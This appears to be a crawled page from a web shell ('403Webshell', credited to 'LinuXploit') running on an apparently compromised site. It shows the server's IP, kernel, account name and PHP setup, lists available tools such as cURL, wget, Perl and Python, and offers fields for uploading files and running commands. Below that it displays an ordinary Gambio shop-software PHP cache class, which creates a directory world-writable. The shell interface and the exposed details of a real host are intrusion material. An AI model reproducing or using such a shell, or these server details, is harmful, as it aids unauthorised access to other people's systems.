403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/GXMainComponents/Extensions/AutoUpdater/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/GXMainComponents/Extensions/AutoUpdater/AutoUpdaterDataCache.inc.php
<?php
/* --------------------------------------------------------------
   AutoUpdaterDataCache.inc.php 2018-09-27
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2018 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/

/**
 * Class AutoUpdaterDataCache
 */
class AutoUpdaterDataCache extends DataCache
{
	/**
	 * @var string
	 */
	public $v_cache_file_prefix = 'persistent_auto_updater_data_cache-';
	
	
	/**
	 * @return \AutoUpdaterDataCache|\DataCache
	 */
	public static function &get_instance()
	{
		static $s_instance;
		
		if($s_instance === null)
		{
			$s_instance = new AutoUpdaterDataCache();
		}
		
		return $s_instance;
	}
	
	public function get_cache_dir()
	{
		$t_cache_directory = DIR_FS_CATALOG . 'cache/auto_updater/';
		
		if(!file_exists($t_cache_directory) && @mkdir($t_cache_directory, 0777) === false)
		{
			$t_cache_directory = DIR_FS_CATALOG . 'cache/';
		}
		
		return $t_cache_directory;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit